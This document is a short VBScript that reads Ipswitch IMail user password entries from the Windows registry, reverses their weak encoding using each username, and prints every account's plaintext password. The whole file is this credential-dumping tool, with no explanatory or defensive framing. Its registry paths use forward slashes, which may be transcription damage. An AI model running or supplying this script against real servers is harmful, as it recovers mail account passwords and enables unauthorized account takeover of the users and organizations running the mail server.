on error resume next const HKEY_LOCAL_MACHINE = &H80000002 strComputer = "." Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!//" &_ strComputer & "/root/default:StdRegProv") strKeyPath = "SOFTWARE/Ipswitch/IMail/Domains" oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys For Each subkey In arrSubKeys wscript.echo "Domain: "&subkey strKeyPath2 = strKeyPath&"/"&subkey&"/Users" oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2 For Each subkey2 In arrSubKeys2 strKeyPath3=strKeyPath2&"/"&subkey2 strValueName = "Password" oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue if len(subkey2) and len(strValue) then wscript.echo subkey2 &" : " & decrypt(subkey2,strValue) end if Next Next
function decrypt(name,pass) while len(name)<len(pass)/2 name=name&name wend for i=0 to len(pass)/2-1 p=mid(pass,2*i+1,2) p="&H"&p n=mid(name,i+1,1) decrypt=decrypt&chr(clng(p)-asc(n)) next end function